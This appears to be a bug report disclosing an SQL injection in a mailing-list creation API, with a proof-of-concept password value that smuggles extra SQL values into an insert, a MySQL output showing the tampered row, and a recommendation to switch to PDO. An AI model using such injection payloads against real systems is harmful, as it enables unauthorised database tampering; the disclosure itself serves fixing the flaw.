SQL Injection creating a mailing list

[fser]

There is no user escape in the current API.
For instance, the password provided to create a mailing list can be used to inject arbitrary data.

Poc:

1. Create a mailing-list
2. Set the following password ','2890','blip','CREATE') ; -- #
3. Enjoy the beauty of your creation:

mysql> select * from mailman where id = 6585;
+------+------+---------+----------------+---------+----------+-------+------+----------------+----------------+
| id   | uid  | list    | domain         | name    | password | owner | url  | mailman_action | mailman_result |
+------+------+---------+----------------+---------+----------+-------+------+----------------+----------------+
| 6585 | 2890 | foo1234 | code-libre.org | foo1234 |          | 2890  | blip | CREATE         |                |
+------+------+---------+----------------+---------+----------+-------+------+----------------+----------------+
1 row in set (0.01 sec)

Close note: there are probably other vulnerabilites. The new SQL class which uses PDO should be used.